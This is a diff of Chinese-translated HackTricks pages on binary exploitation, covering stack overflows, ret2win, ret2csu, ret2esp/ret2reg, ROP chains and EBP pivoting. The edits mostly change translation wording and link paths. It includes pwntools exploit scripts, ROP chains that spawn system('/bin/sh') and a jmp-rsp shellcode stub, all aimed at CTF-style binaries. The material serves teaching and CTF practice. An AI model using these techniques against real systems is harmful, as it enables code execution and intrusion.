- 使用任意读取漏洞，例如 [**格式字符串**](../../format-strings/index.html) 来泄露二进制文件的地址（例如，从栈中，如前面的技术所示）以获取二进制文件的基地址并从那里使用偏移量。[**在这里找到一个例子**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass)。
|
||||
|
||||
## 参考
|
||||
|
||||
|
||||
@ -4,14 +4,14 @@
|
||||
|
||||
## 什么是栈溢出
|
||||
|
||||
一个 **栈溢出** 是一种漏洞，当程序向栈中写入的数据超过其分配的容量时，就会发生这种情况。这些多余的数据将 **覆盖相邻的内存空间**，导致有效数据的损坏、控制流的中断，以及潜在的恶意代码执行。这个问题通常是由于使用不安全的函数而引起的，这些函数对输入没有进行边界检查。
|
||||
一个 **栈溢出** 是一种漏洞，当程序向栈中写入的数据超过其分配的容量时，就会发生这种情况。这些多余的数据将 **覆盖相邻的内存空间**，导致有效数据的损坏、控制流的中断，并可能执行恶意代码。这个问题通常是由于使用不安全的函数而引起的，这些函数在输入时不进行边界检查。
|
||||
|
||||
这个覆盖的主要问题是 **保存的指令指针 (EIP/RIP)** 和 **保存的基指针 (EBP/RBP)** 用于返回到上一个函数，它们是 **存储在栈上的**。因此，攻击者将能够覆盖这些指针并 **控制程序的执行流**。
|
||||
这个覆盖的主要问题是 **保存的指令指针 (EIP/RIP)** 和 **保存的基指针 (EBP/RBP)** 用于返回到上一个函数，它们是 **存储在栈上的**。因此，攻击者将能够覆盖这些并 **控制程序的执行流**。
|
||||
|
||||
该漏洞通常是因为一个函数 **在栈中复制的字节数超过了为其分配的数量**，因此能够覆盖栈的其他部分。\
|
||||
一些常见的易受攻击的函数包括： `strcpy`、`strcat`、`sprintf`、`gets`... 另外，像 `fgets` 或 `read` 这样的函数，如果指定的长度大于分配的长度，也可能以脆弱的方式使用。
|
||||
一些常见的易受攻击的函数包括：`strcpy`、`strcat`、`sprintf`、`gets`... 此外，像 `fgets` 或 `read` 这样的函数，如果指定的长度大于分配的长度，可能会以脆弱的方式使用。
|
||||
|
||||
例如，以下函数可能是脆弱的：
|
||||
例如，以下函数可能是易受攻击的：
|
||||
```c
|
||||
void vulnerable() {
|
||||
char buffer[128];
|
||||
@ -50,13 +50,13 @@ pattern search $rsp #Search the offset given the content of $rsp
|
||||
## 利用栈溢出
|
||||
|
||||
在溢出期间（假设溢出大小足够大），您将能够覆盖栈内局部变量的值，直到达到保存的 EBP/RBP 和 EIP/RIP（甚至更多）。\
|
||||
滥用这种类型漏洞的最常见方法是 **修改返回地址**，这样当函数结束时，**控制流将被重定向到用户在此指针中指定的任何位置**。
|
||||
滥用这种类型漏洞的最常见方法是 **修改返回地址**，这样当函数结束时，**控制流将被重定向到用户在此指针中指定的地方**。
|
||||
|
||||
然而，在其他场景中，仅仅 **覆盖栈中某些变量的值** 可能就足以进行利用（例如在简单的 CTF 挑战中）。
|
||||
|
||||
### Ret2win
|
||||
|
||||
在这种类型的 CTF 挑战中，二进制文件中有一个 **从未被调用的函数**，而且 **您需要调用它才能获胜**。对于这些挑战，您只需找到 **覆盖返回地址的偏移量** 并 **找到要调用的函数的地址**（通常 [**ASLR**](../common-binary-protections-and-bypasses/aslr/) 会被禁用），这样当易受攻击的函数返回时，隐藏的函数将被调用：
|
||||
在这种类型的 CTF 挑战中，二进制文件中有一个 **函数** **从未被调用**，而且 **您需要调用它才能获胜**。对于这些挑战，您只需找到 **覆盖返回地址的偏移量** 和 **找到要调用的函数的地址**（通常 [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) 会被禁用），这样当易受攻击的函数返回时，隐藏的函数将被调用：
|
||||
|
||||
{{#ref}}
|
||||
ret2win.md
|
||||
@ -64,7 +64,7 @@ ret2win.md
|
||||
|
||||
### 栈 Shellcode
|
||||
|
||||
在这种情况下，攻击者可以将 shellcode 放置在栈中，并利用受控的 EIP/RIP 跳转到 shellcode 并执行任意代码：
|
||||
在这种情况下，攻击者可以在栈中放置一个 shellcode，并利用受控的 EIP/RIP 跳转到 shellcode 并执行任意代码：
|
||||
|
||||
{{#ref}}
|
||||
stack-shellcode.md
|
||||
@ -72,7 +72,7 @@ stack-shellcode.md
|
||||
|
||||
## ROP
|
||||
|
||||
该技术是绕过前一种技术主要保护措施的基本框架：**不可执行栈**（NX）。它允许执行其他几种技术（ret2lib，ret2syscall...），最终通过滥用二进制文件中的现有指令执行任意命令：
|
||||
该技术是绕过前一种技术主要保护的基本框架：**不可执行栈**（NX）。它允许执行其他几种技术（ret2lib，ret2syscall...），最终通过滥用二进制中的现有指令执行任意命令：
|
||||
|
||||
{{#ref}}
|
||||
rop-return-oriented-programing.md
|
||||
|
||||
@ -8,11 +8,11 @@
|
||||
|
||||
当一个程序使用某些库（如 libc）时，它有一些内置函数来管理程序不同部分之间的通信。在这些函数中，有一些隐藏的宝石可以充当我们缺失的 gadgets，特别是一个叫 `__libc_csu_init` 的函数。
|
||||
|
||||
### \_\_libc_csu_init 中的魔法 gadgets
|
||||
### \_\_libc_csu_init 中的魔法 Gadgets
|
||||
|
||||
在 `__libc_csu_init` 中，有两个指令序列（我们的“魔法 gadgets”）非常突出：
|
||||
|
||||
1. 第一个序列让我们可以在几个寄存器（rbx, rbp, r12, r13, r14, r15）中设置值。这些就像我们可以存储数字或地址的槽，以便稍后使用。
|
||||
1. 第一个序列让我们在几个寄存器中设置值（rbx, rbp, r12, r13, r14, r15）。这些就像我们可以存储数字或地址的槽位，以便稍后使用。
|
||||
```armasm
|
||||
pop rbx;
|
||||
pop rbp;
|
||||
@ -22,10 +22,10 @@ pop r14;
|
||||
pop r15;
|
||||
ret;
|
||||
```
|
||||
这个工具允许我们通过从栈中弹出值来控制这些寄存器。
|
||||
这个小工具允许我们通过将值从栈中弹出到这些寄存器来控制它们。
|
||||
|
||||
2. 第二个序列使用我们设置的值来做几件事情：
|
||||
- **将特定值移动到其他寄存器中**，使它们准备好作为函数中的参数使用。
|
||||
2. 第二个序列使用我们设置的值来做几件事：
|
||||
- **将特定值移动到其他寄存器中**，使它们准备好作为函数的参数使用。
|
||||
- **执行对一个位置的调用**，该位置由将 r15 和 rbx 中的值相加，然后将 rbx 乘以 8 来确定。
|
||||
```
|
||||
mov rdx, r14;
|
||||
@ -40,7 +40,7 @@ call qword [r15 + rbx*8];
|
||||
这就是 **ret2csu** 发挥作用的地方：
|
||||
|
||||
1. **设置寄存器**：使用第一个魔法 gadget 从栈中弹出值并放入 rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) 和 r15。
|
||||
2. **使用第二个 gadget**：在这些寄存器设置好后，使用第二个 gadget。这让你可以将选择的值移动到 `rdx` 和 `rsi`（分别来自 r14 和 r13），为函数调用准备参数。此外，通过控制 `r15` 和 `rbx`，你可以使程序调用位于你计算并放入 `[r15 + rbx*8]` 的地址的函数。
|
||||
2. **使用第二个 gadget**：在这些寄存器设置好后，你使用第二个 gadget。这让你可以将选择的值移动到 `rdx` 和 `rsi`（分别来自 r14 和 r13），为函数调用准备参数。此外，通过控制 `r15` 和 `rbx`，你可以使程序调用位于你计算并放入 `[r15 + rbx*8]` 地址的函数。
|
||||
|
||||
你有一个 [**使用此技术并在此处解释的示例**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation)，这是它使用的最终利用：
|
||||
```python
|
||||
@ -67,10 +67,10 @@ p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
|
||||
print(p.recvline()) # should receive "Awesome work!"
|
||||
```
|
||||
> [!WARNING]
|
||||
> 请注意，之前的漏洞并不是为了实现 **`RCE`**，而只是为了调用一个名为 `win` 的函数（从 stdin 调用 gets 获取 `win` 的地址并将其存储在 r15 中），并带有一个值为 `0xdeadbeefcafed00d` 的第三个参数。
|
||||
> 请注意，之前的漏洞并不是为了实现 **`RCE`**，而是为了调用一个名为 `win` 的函数（从 stdin 调用 gets 获取 `win` 的地址并将其存储在 r15 中），并带有一个值为 `0xdeadbeefcafed00d` 的第三个参数。
|
||||
|
||||
### 为什么不直接使用 libc？
|
||||
|
||||
通常这些情况也容易受到 [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/) 的攻击，但有时你需要控制的参数比在 libc 中直接找到的 gadgets 更多。例如，`write()` 函数需要三个参数，而 **直接找到设置所有这些的 gadgets 可能是不可能的**。
|
||||
通常这些情况也容易受到 [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/index.html) 的攻击，但有时你需要控制的参数比在 libc 中直接找到的 gadgets 更多。例如，`write()` 函数需要三个参数，而 **直接找到设置所有这些的 gadgets 可能是不可能的**。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,20 +4,20 @@
|
||||
|
||||
## **Ret2esp**
|
||||
|
||||
**因为 ESP（栈指针）始终指向栈的顶部**，这个技术涉及用 **`jmp esp`** 或 **`call esp`** 指令的地址替换 EIP（指令指针）。通过这样做，shellcode 被放置在被覆盖的 EIP 之后。当 `ret` 指令执行时，ESP 指向下一个地址，正好是存储 shellcode 的地方。
|
||||
**因为 ESP（栈指针）始终指向栈的顶部**，该技术涉及用 **`jmp esp`** 或 **`call esp`** 指令的地址替换 EIP（指令指针）。通过这样做，shellcode 被放置在被覆盖的 EIP 之后。当 `ret` 指令执行时，ESP 指向下一个地址，正好是存储 shellcode 的地方。
|
||||
|
||||
如果 **地址空间布局随机化（ASLR）** 在 Windows 或 Linux 中未启用，可以使用在共享库中找到的 `jmp esp` 或 `call esp` 指令。然而，当 [**ASLR**](../common-binary-protections-and-bypasses/aslr/) 激活时，可能需要在易受攻击的程序内部查找这些指令（并且可能需要击败 [**PIE**](../common-binary-protections-and-bypasses/pie/)）。
|
||||
如果 **地址空间布局随机化（ASLR）** 在 Windows 或 Linux 中未启用，可以使用在共享库中找到的 `jmp esp` 或 `call esp` 指令。然而，当 [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) 激活时，可能需要在易受攻击的程序内部查找这些指令（并且可能需要击败 [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)）。
|
||||
|
||||
此外，能够将 shellcode **放置在 EIP 损坏之后**，而不是在栈的中间，确保在函数操作期间执行的任何 `push` 或 `pop` 指令不会干扰 shellcode。如果 shellcode 被放置在函数栈的中间，可能会发生这种干扰。
|
||||
|
||||
### 缺少空间
|
||||
### 缺乏空间
|
||||
|
||||
如果在覆盖 RIP 后缺少写入空间（可能只有几个字节），可以写一个初始的 `jmp` shellcode，如：
|
||||
如果在覆盖 RIP 后缺乏写入空间（可能只有几个字节），可以写一个初始的 `jmp` shellcode，如：
|
||||
```armasm
|
||||
sub rsp, 0x30
|
||||
jmp rsp
|
||||
```
|
||||
并在栈中早期写入shellcode。
|
||||
在栈的早期写入 shellcode。
|
||||
|
||||
### 示例
|
||||
|
||||
@ -43,16 +43,16 @@ p.interactive()
|
||||
```
|
||||
## Ret2reg
|
||||
|
||||
类似地，如果我们知道一个函数返回存储 shellcode 的地址，我们可以利用 **`call eax`** 或 **`jmp eax`** 指令（称为 **ret2eax** 技术），提供另一种执行我们的 shellcode 的方法。就像 eax 一样，**任何其他寄存器** 中包含有趣地址的寄存器都可以使用（**ret2reg**）。
|
||||
类似地，如果我们知道一个函数返回存储 shellcode 的地址，我们可以利用 **`call eax`** 或 **`jmp eax`** 指令（称为 **ret2eax** 技术），提供另一种执行我们的 shellcode 的方法。就像 eax 一样，**任何其他寄存器** 中包含有趣地址的寄存器都可以被使用（**ret2reg**）。
|
||||
|
||||
### 示例
|
||||
|
||||
您可以在这里找到一个示例：[https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg)
|
||||
您可以在这里找到一个示例: [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg)
|
||||
|
||||
## 保护措施
|
||||
|
||||
- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md)：如果栈不可执行，这将无济于事，因为我们需要将 shellcode 放在栈中并跳转以执行它。
|
||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) 和 [**PIE**](../common-binary-protections-and-bypasses/pie/)：这些可能会使找到跳转到 esp 或任何其他寄存器的指令变得更加困难。
|
||||
- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): 如果栈不可执行，这将无济于事，因为我们需要将 shellcode 放在栈中并跳转以执行它。
|
||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) 和 [**PIE**](../common-binary-protections-and-bypasses/pie/index.html): 这些可能会使找到跳转到 esp 或任何其他寄存器的指令变得更加困难。
|
||||
|
||||
## 参考
|
||||
|
||||
|
||||
@ -27,7 +27,7 @@ vulnerable_function();
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
要在没有栈保护和禁用 **ASLR** 的情况下编译此程序，可以使用以下命令：
|
||||
要在没有栈保护和禁用 **ASLR** 的情况下编译此程序，您可以使用以下命令：
|
||||
```sh
|
||||
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
|
||||
```
|
||||
@ -39,7 +39,7 @@ gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
|
||||
|
||||
### 使用 Pwntools 的 Python 利用
|
||||
|
||||
对于利用，我们将使用 **pwntools**，这是一个强大的 CTF 框架，用于编写利用脚本。利用脚本将创建一个有效负载，以溢出缓冲区并用 `win` 函数的地址覆盖返回地址。
|
||||
对于利用，我们将使用 **pwntools**，这是一个强大的 CTF 框架，用于编写利用脚本。利用脚本将创建一个有效载荷，以溢出缓冲区并用 `win` 函数的地址覆盖返回地址。
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -59,18 +59,18 @@ payload = b'A' * 68 + win_addr
|
||||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
要找到 `win` 函数的地址，可以使用 **gdb**、**objdump** 或任何其他允许您检查二进制文件的工具。例如，使用 `objdump`，您可以使用：
|
||||
要找到 `win` 函数的地址，您可以使用 **gdb**、**objdump** 或任何其他允许您检查二进制文件的工具。例如，使用 `objdump`，您可以使用：
|
||||
```sh
|
||||
objdump -d vulnerable | grep win
|
||||
```
|
||||
该命令将显示 `win` 函数的汇编代码，包括其起始地址。 
|
||||
|
||||
Python 脚本发送一个精心构造的消息，当 `vulnerable_function` 处理时，会溢出缓冲区并用 `win` 的地址覆盖栈上的返回地址。当 `vulnerable_function` 返回时，它不会返回到 `main` 或退出，而是跳转到 `win`，并打印消息。
|
||||
Python 脚本发送一个精心制作的消息，当 `vulnerable_function` 处理时，会溢出缓冲区并用 `win` 的地址覆盖栈上的返回地址。当 `vulnerable_function` 返回时，它不会返回到 `main` 或退出，而是跳转到 `win`，并打印消息。
|
||||
|
||||
## 保护措施
|
||||
|
||||
- [**PIE**](../common-binary-protections-and-bypasses/pie/) **应禁用**，以确保地址在执行之间是可靠的，否则函数存储的地址将不总是相同，您需要一些泄漏信息来确定 `win` 函数加载的位置。在某些情况下，当导致溢出的函数是 `read` 或类似函数时，您可以进行 **部分覆盖** 1 或 2 个字节，以将返回地址更改为 `win` 函数。由于 ASLR 的工作方式，最后三个十六进制半字节不会随机化，因此有 **1/16 的机会**（1 个半字节）获得正确的返回地址。
|
||||
- [**栈金丝雀**](../common-binary-protections-and-bypasses/stack-canaries/) 也应禁用，否则被破坏的 EIP 返回地址将永远不会被跟随。
|
||||
- [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **应禁用**，以确保地址在执行之间是可靠的，否则函数存储的地址将不总是相同，您需要一些泄漏信息来确定 `win` 函数加载的位置。在某些情况下，当导致溢出的函数是 `read` 或类似函数时，您可以进行 **部分覆盖** 1 或 2 个字节，以将返回地址更改为 `win` 函数。由于 ASLR 的工作原理，最后三个十六进制半字节是不会随机化的，因此有 **1/16 的机会**（1 个半字节）获得正确的返回地址。
|
||||
- [**栈金丝雀**](../common-binary-protections-and-bypasses/stack-canaries/index.html) 也应禁用，否则被破坏的 EIP 返回地址将永远不会被跟随。
|
||||
|
||||
## 其他示例与参考
|
||||
|
||||
@ -78,7 +78,7 @@ Python 脚本发送一个精心构造的消息，当 `vulnerable_function` 处
|
||||
- [https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html](https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html)
|
||||
- 32位，无 ASLR
|
||||
- [https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html)
|
||||
- 64 位，带 ASLR，带有二进制地址泄漏
|
||||
- 64 位，带 ASLR，泄漏二进制地址
|
||||
- [https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html)
|
||||
- 64 位，无 ASLR
|
||||
- [https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html)
|
||||
|
||||
@ -4,13 +4,13 @@
|
||||
|
||||
## **基本信息**
|
||||
|
||||
**返回导向编程 (ROP)** 是一种高级利用技术，用于绕过 **不可执行 (NX)** 或 **数据执行防护 (DEP)** 等安全措施。攻击者利用二进制文件或已加载库中已经存在的代码片段，称为 **"gadgets"**，而不是注入和执行 shellcode。每个 gadget 通常以 `ret` 指令结束，并执行小的操作，例如在寄存器之间移动数据或执行算术运算。通过将这些 gadgets 链接在一起，攻击者可以构造一个有效绕过 NX/DEP 保护的有效负载，以执行任意操作。
|
||||
**返回导向编程 (ROP)** 是一种高级利用技术，用于绕过 **不可执行 (NX)** 或 **数据执行防护 (DEP)** 等安全措施。攻击者利用二进制文件或已加载库中已经存在的代码片段，称为 **"gadgets"**，而不是注入和执行 shellcode。每个 gadget 通常以 `ret` 指令结束，并执行小的操作，例如在寄存器之间移动数据或执行算术运算。通过将这些 gadgets 链接在一起，攻击者可以构造一个有效的有效负载，以执行任意操作，从而有效绕过 NX/DEP 保护。
|
||||
|
||||
### ROP 的工作原理
|
||||
|
||||
1. **控制流劫持**：首先，攻击者需要劫持程序的控制流，通常通过利用缓冲区溢出来覆盖栈上的保存返回地址。
|
||||
2. **Gadget 链接**：攻击者然后仔细选择并链接 gadgets 以执行所需的操作。这可能涉及为函数调用设置参数，调用函数（例如 `system("/bin/sh")`），并处理任何必要的清理或附加操作。
|
||||
3. **有效负载执行**：当易受攻击的函数返回时，它不会返回到合法位置，而是开始执行 gadgets 链。
|
||||
2. **Gadget 链接**：攻击者然后仔细选择并链接 gadgets 以执行所需的操作。这可能涉及设置函数调用的参数、调用函数（例如 `system("/bin/sh")`）以及处理任何必要的清理或附加操作。
|
||||
3. **有效负载执行**：当易受攻击的函数返回时，而不是返回到合法位置，它开始执行 gadgets 链。
|
||||
|
||||
### 工具
|
||||
|
||||
@ -20,14 +20,14 @@
|
||||
|
||||
### **x86 (32位) 调用约定**
|
||||
|
||||
- **cdecl**：调用者清理栈。函数参数以反向顺序（从右到左）推入栈中。**参数从右到左推入栈中。**
|
||||
- **stdcall**：类似于 cdecl，但被调用者负责清理栈。
|
||||
- **cdecl**：调用者清理栈。函数参数以相反的顺序（从右到左）推入栈中。**参数从右到左推入栈中。**
|
||||
- **stdcall**：与 cdecl 类似，但被调用者负责清理栈。
|
||||
|
||||
### **查找 Gadgets**
|
||||
|
||||
首先，假设我们已经在二进制文件或其加载的库中识别了必要的 gadgets。我们感兴趣的 gadgets 包括：
|
||||
|
||||
- `pop eax; ret`：此 gadget 将栈顶值弹出到 `EAX` 寄存器中，然后返回，使我们能够控制 `EAX`。
|
||||
- `pop eax; ret`：此 gadget 将栈顶值弹出到 `EAX` 寄存器中，然后返回，允许我们控制 `EAX`。
|
||||
- `pop ebx; ret`：与上述类似，但针对 `EBX` 寄存器，使我们能够控制 `EBX`。
|
||||
- `mov [ebx], eax; ret`：将 `EAX` 中的值移动到 `EBX` 指向的内存位置，然后返回。这通常被称为 **write-what-where gadget**。
|
||||
- 此外，我们还有 `system()` 函数的地址可用。
|
||||
@ -37,7 +37,7 @@
|
||||
使用 **pwntools**，我们准备栈以执行 ROP 链，目标是执行 `system('/bin/sh')`，注意链的开始：
|
||||
|
||||
1. 为对齐目的的 `ret` 指令（可选）
|
||||
2. `system` 函数的地址（假设 ASLR 被禁用且已知 libc，更多信息见 [**Ret2lib**](ret2lib/)）
|
||||
2. `system` 函数的地址（假设 ASLR 被禁用且已知 libc，更多信息见 [**Ret2lib**](ret2lib/index.html)）
|
||||
3. `system()` 的返回地址占位符
|
||||
4. `"/bin/sh"` 字符串地址（system 函数的参数）
|
||||
```python
|
||||
@ -73,24 +73,24 @@ payload = fit({offset: rop_chain})
|
||||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
## ROP Chain in x64 示例
|
||||
## ROP Chain in x64 Example
|
||||
|
||||
### **x64 (64位) 调用约定**
|
||||
### **x64 (64-bit) 调用约定**
|
||||
|
||||
- 在类Unix系统上使用 **System V AMD64 ABI** 调用约定，其中 **前六个整数或指针参数通过寄存器 `RDI`, `RSI`, `RDX`, `RCX`, `R8` 和 `R9` 传递**。额外的参数通过栈传递。返回值放在 `RAX` 中。
|
||||
- **Windows x64** 调用约定使用 `RCX`, `RDX`, `R8` 和 `R9` 作为前四个整数或指针参数，额外的参数通过栈传递。返回值放在 `RAX` 中。
|
||||
- **寄存器**：64位寄存器包括 `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP` 和 `R8` 到 `R15`。
|
||||
- **寄存器**：64位寄存器包括 `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`，以及 `R8` 到 `R15`。
|
||||
|
||||
#### **查找小工具**
|
||||
|
||||
为了我们的目的，让我们专注于可以让我们设置 **RDI** 寄存器（将 **"/bin/sh"** 字符串作为参数传递给 **system()**）并调用 **system()** 函数的小工具。我们假设我们已经识别出以下小工具：
|
||||
为了我们的目的，让我们专注于可以让我们设置 **RDI** 寄存器（将 **"/bin/sh"** 字符串作为参数传递给 **system()**）并调用 **system()** 函数的小工具。我们假设已经识别出以下小工具：
|
||||
|
||||
- **pop rdi; ret**：将栈顶值弹出到 **RDI** 中，然后返回。对于设置 **system()** 的参数至关重要。
|
||||
- **ret**：一个简单的返回，在某些场景中对栈对齐有用。
|
||||
|
||||
我们知道 **system()** 函数的地址。
|
||||
|
||||
### **ROP 链**
|
||||
### **ROP Chain**
|
||||
|
||||
下面是一个使用 **pwntools** 设置和执行 ROP 链的示例，旨在执行 **system('/bin/sh')** 在 **x64** 上：
|
||||
```python
|
||||
@ -135,17 +135,17 @@ p.interactive()
|
||||
|
||||
### 栈对齐
|
||||
|
||||
**x86-64 ABI** 确保在执行 **call instruction** 时 **栈是16字节对齐** 的。**LIBC** 为了优化性能，**使用 SSE 指令**（如 **movaps**），这需要这种对齐。如果栈没有正确对齐（意味着 **RSP** 不是16的倍数），对 **system** 等函数的调用将在 **ROP chain** 中失败。要解决此问题，只需在 ROP chain 中调用 **system** 之前添加一个 **ret gadget**。
|
||||
**x86-64 ABI** 确保在执行 **call instruction** 时 **栈是16字节对齐** 的。**LIBC** 为了优化性能，**使用 SSE 指令**（如 **movaps**），这要求这种对齐。如果栈没有正确对齐（意味着 **RSP** 不是16的倍数），对 **system** 等函数的调用将在 **ROP chain** 中失败。要解决此问题，只需在调用 **system** 之前在 ROP chain 中添加一个 **ret gadget**。
|
||||
|
||||
## x86 与 x64 的主要区别
|
||||
|
||||
> [!TIP]
|
||||
> 由于 x64 使用寄存器处理前几个参数，因此在简单函数调用中通常需要的 gadget 比 x86 少，但由于寄存器数量增加和地址空间更大，找到并链接正确的 gadget 可能更复杂。**x64** 架构中寄存器数量的增加和地址空间的扩大为漏洞开发提供了机遇和挑战，特别是在返回导向编程（ROP）的背景下。
|
||||
> 由于 x64 使用寄存器处理前几个参数，因此在简单函数调用中通常需要的 gadget 比 x86 少，但由于寄存器数量增加和地址空间更大，找到和链接正确的 gadget 可能更复杂。**x64** 架构中寄存器数量的增加和地址空间的扩大为漏洞开发提供了机遇和挑战，特别是在返回导向编程（ROP）的背景下。
|
||||
|
||||
## 保护措施
|
||||
|
||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/)
|
||||
- [**栈金丝雀**](../common-binary-protections-and-bypasses/stack-canaries/)
|
||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)
|
||||
- [**栈金丝雀**](../common-binary-protections-and-bypasses/stack-canaries/index.html)
|
||||
|
||||
## 其他示例与参考
|
||||
|
||||
|
||||
@ -4,56 +4,56 @@
|
||||
|
||||
## 基本信息
|
||||
|
||||
该技术利用操控 **基指针 (EBP)** 的能力，通过仔细使用 EBP 寄存器和 `leave; ret` 指令序列来链接多个函数的执行。
|
||||
此技术利用操控 **基指针 (EBP)** 的能力，通过仔细使用 EBP 寄存器和 `leave; ret` 指令序列来链接多个函数的执行。
|
||||
|
||||
提醒一下，**`leave`** 基本上意味着：
|
||||
作为提醒，**`leave`** 基本上意味着：
|
||||
```
|
||||
mov esp, ebp
|
||||
pop ebp
|
||||
ret
|
||||
```
|
||||
由于 **EBP 在栈中** 位于 EIP 之前，因此可以通过控制栈来控制它。
|
||||
由于**EBP在栈中**位于EIP之前，因此可以通过控制栈来控制它。
|
||||
|
||||
### EBP2Ret
|
||||
|
||||
当你可以 **更改 EBP 寄存器但没有直接方法更改 EIP 寄存器** 时，这种技术特别有用。它利用了函数执行完毕后的行为。
|
||||
当你可以**更改EBP寄存器但没有直接方法更改EIP寄存器**时，这种技术特别有用。它利用了函数执行完毕后的行为。
|
||||
|
||||
如果在 `fvuln` 执行期间，你设法在栈中注入一个 **假 EBP**，指向内存中你的 shellcode 地址所在的区域（加上 4 字节以考虑 `pop` 操作），你可以间接控制 EIP。当 `fvuln` 返回时，ESP 被设置为这个构造的位置，随后的 `pop` 操作将 ESP 减少 4，**有效地使其指向攻击者在其中存储的地址。**\
|
||||
注意你 **需要知道 2 个地址**：ESP 将要去的地址，以及你需要在其中写入的地址。
|
||||
如果在`fvuln`执行期间，你设法在栈中注入一个**假EBP**，指向内存中你的shellcode地址所在的区域（加上4个字节以考虑`pop`操作），你可以间接控制EIP。当`fvuln`返回时，ESP被设置为这个构造的位置，随后的`pop`操作将ESP减少4，**有效地使其指向攻击者在其中存储的地址。**\
|
||||
注意你**需要知道2个地址**：ESP将要去的地址，以及你需要在其中写入的地址。
|
||||
|
||||
#### 利用构造
|
||||
#### Exploit Construction
|
||||
|
||||
首先，你需要知道一个 **可以写入任意数据/地址的地址**。ESP 将指向这里并 **运行第一个 `ret`**。
|
||||
首先，你需要知道一个**可以写入任意数据/地址的地址**。ESP将指向这里并**运行第一个`ret`**。
|
||||
|
||||
然后，你需要知道 `ret` 使用的地址，该地址将 **执行任意代码**。你可以使用：
|
||||
然后，你需要知道`ret`使用的地址，该地址将**执行任意代码**。你可以使用：
|
||||
|
||||
- 一个有效的 [**ONE_GADGET**](https://github.com/david942j/one_gadget) 地址。
|
||||
- **`system()`** 的地址，后面跟 **4 个垃圾字节** 和 `"/bin/sh"` 的地址（x86 位）。
|
||||
- 一个 **`jump esp;`** gadget 的地址（[**ret2esp**](ret2esp-ret2reg.md)），后面跟要执行的 **shellcode**。
|
||||
- 一些 [**ROP**](rop-return-oriented-programing.md) 链
|
||||
- 一个有效的[**ONE_GADGET**](https://github.com/david942j/one_gadget)地址。
|
||||
- **`system()`**的地址，后面跟着**4个垃圾字节**和`"/bin/sh"`的地址（x86位）。
|
||||
- 一个**`jump esp;`** gadget的地址（[**ret2esp**](ret2esp-ret2reg.md)），后面跟着要执行的**shellcode**。
|
||||
- 一些[**ROP**](rop-return-oriented-programing.md)链
|
||||
|
||||
请记住，在受控内存的这些地址之前，必须有 **`4` 字节**，因为 **`pop`** 部分的 `leave` 指令。可以利用这 4 字节设置一个 **第二个假 EBP**，并继续控制执行。
|
||||
请记住，在受控内存的这些地址之前，必须有**`4`个字节**，因为`leave`指令的**`pop`**部分。可以利用这4个字节设置一个**第二个假EBP**，并继续控制执行。
|
||||
|
||||
#### Off-By-One 利用
|
||||
#### Off-By-One Exploit
|
||||
|
||||
这种技术有一个特定的变体，称为 "Off-By-One 利用"。当你 **只能修改 EBP 的最低有效字节** 时使用。在这种情况下，存储要跳转到的地址的内存位置与 **`ret`** 必须与 EBP 共享前 3 个字节，从而允许在更受限的条件下进行类似的操作。
|
||||
这种技术有一个特定的变体，称为“Off-By-One Exploit”。当你**只能修改EBP的最低有效字节**时使用。在这种情况下，存储要跳转到的地址的内存位置与**`ret`**的前3个字节必须与EBP共享，从而允许在更受限的条件下进行类似的操作。
|
||||
|
||||
### **EBP 链接**
|
||||
### **EBP Chaining**
|
||||
|
||||
因此，将一个受控地址放入栈的 `EBP` 条目中，并在 `EIP` 中放入一个 `leave; ret` 的地址，可以 **将 `ESP` 移动到栈中的受控 `EBP` 地址**。
|
||||
因此，将一个受控地址放入栈的`EBP`条目中，并在`EIP`中放入一个`leave; ret`的地址，可以**将`ESP`从栈移动到受控的`EBP`地址**。
|
||||
|
||||
现在，**`ESP`** 被控制，指向所需地址，下一条要执行的指令是 `RET`。为了利用这一点，可以在受控 ESP 中放置以下内容：
|
||||
现在，**`ESP`**被控制，指向所需地址，下一条要执行的指令是`RET`。为了利用这一点，可以在受控ESP位置放置以下内容：
|
||||
|
||||
